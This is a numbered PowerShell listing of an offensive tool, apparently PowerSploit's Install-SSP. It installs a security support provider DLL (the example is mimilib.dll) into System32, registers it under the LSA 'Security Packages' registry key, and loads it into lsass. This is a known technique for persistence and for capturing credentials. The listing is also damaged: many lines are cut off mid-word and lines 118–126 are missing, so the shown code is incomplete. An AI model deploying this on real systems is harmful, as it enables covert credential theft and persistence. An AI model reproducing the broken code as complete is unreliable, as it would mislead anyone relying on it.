```
1   function Install-SSP
2   {
3   <#
4   .SYNOPSIS
5
6   Installs a security support provider (SSP) dll.
7
8   Author: Matthew Graeber (@mattifestation)
9   License: BSD 3-Clause
10  Required Dependencies: None
11  Optional Dependencies: None
12
13  .DESCRIPTION
14
15  Install-SSP installs an SSP dll. Installation involves copying the dll to
16  %windir%\System32 and adding the name of the dll to
17  HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.
18
19  .PARAMETER Remove
20
21  Specifies the path to the SSP dll you would like to install.
22
23  .EXAMPLE
24
```

```
25      Install-SSP -Path .\mimilib.dll
26
27      .NOTES
28
29      The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll
30      if you are running a 64-bit OS. In order for the SSP dll to be loaded properly
31      into lsass, the dll must export SpLsaModeInitialize.
32      #>
33
34          [CmdletBinding()] Param (
35              [ValidateScript({Test-Path (Resolve-Path $_)})]
36              [String]
37              $Path
38          )
39
40          $Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurr
41
42          if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
43          {
44              throw 'Installing an SSP dll requires administrative rights. Execute this script from an el
45          }
46
47          # Resolve the full path if a relative path was provided.
48          $FullDllPath = Resolve-Path $Path
49
50          # Helper function used to determine the dll architecture
51          function local:Get-PEArchitecture
52          {
53              Param
54              (
55                  [Parameter( Position = 0,
56                              Mandatory = $True )]
57                  [String]
58                  $Path
59              )
60
61              # Parse PE header to see if binary was compiled 32 or 64-bit
62              $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO
63
64              [Byte[]] $MZHeader = New-Object Byte[](2)
65              $FileStream.Read($MZHeader,0,2) | Out-Null
66
67              $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
68              if ($Header -ne 'MZ')
69              {
70                  $FileStream.Close()
```

```
71                  Throw 'Invalid PE header.'
72              }
73
74              # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
75              $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
76
77              [Byte[]] $lfanew = New-Object Byte[](4)
78
79              # Read offset to the PE Header (will be read in reverse)
80              $FileStream.Read($lfanew,0,4) | Out-Null
81              $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
82
83              # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
84              $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
85              [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
86
87              # Read compiled architecture
88              $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
89              $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '
90              $FileStream.Close()
91
92              if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
93              {
94                  Throw 'Invalid PE header or unsupported architecture.'
95              }
96
97              if ($Architecture -eq '014C')
98              {
99                  Write-Output '32-bit'
100             }
101             elseif ($Architecture -eq '8664')
102             {
103                 Write-Output '64-bit'
104             }
105             else
106             {
107                 Write-Output 'Other'
108             }
109         }
110
111         $DllArchitecture = Get-PEArchitecture $FullDllPath
112
113         $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture
114
115         if ($DllArchitecture -ne $OSArch)
116         {
```

```
117             throw 'The operating system architecture must match the architecture of the SSP dll.'
127         $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security
128             Select-Object -ExpandProperty 'Security Packages'
129
130         if ($SecurityPackages -contains $DllName)
131         {
132             throw "'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security
133         }
134
135         # In case you're running 32-bit PowerShell on a 64-bit OS
136         $NativeInstallDir = "$($Env:windir)\Sysnative"
137
138         if (Test-Path $NativeInstallDir)
139         {
140             $InstallDir = $NativeInstallDir
141         }
142         else
143         {
144             $InstallDir = "$($Env:windir)\System32"
145         }
146
147         if (Test-Path (Join-Path $InstallDir $Dll))
148         {
149             throw "$Dll is already installed in $InstallDir."
150         }
151
152         # If you've made it this far, you are clear to install the SSP dll.
153         Copy-Item $FullDllPath $InstallDir
154
155         $SecurityPackages += $DllName
156
157         Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $S
158
159         $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2')
160         $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.E
161         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False)
162
```

```
163         $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class')
164         $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage',
165             'secur32.dll',
166             'Public, Static',
167             [Reflection.CallingConventions]::Standard,
168             [Int32],
169             [Type[]] @([String], [IntPtr]),
170             [Runtime.InteropServices.CallingConvention]::Winapi,
171             [Runtime.InteropServices.CharSet]::Auto)
172
173         $Secur32 = $TypeBuilder.CreateType()
174
175         if ([IntPtr]::Size -eq 4) {
176             $StructSize = 20
177         } else {
178             $StructSize = 24
179         }
180
181         $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize)
182         [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize)
183
184         $RuntimeSuccess = $True
185
186         try {
187             $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr)
188         } catch {
189             $HResult = $Error[0].Exception.InnerException.HResult
190             Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))"
191             Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)"
192             $RuntimeSuccess = $False
193         }
194
195         if ($RuntimeSuccess) {
196             Write-Verbose 'Installation and loading complete!'
197         } else {
198             Write-Verbose 'Installation complete! Reboot for changes to take effect.'
199         }
200     }
```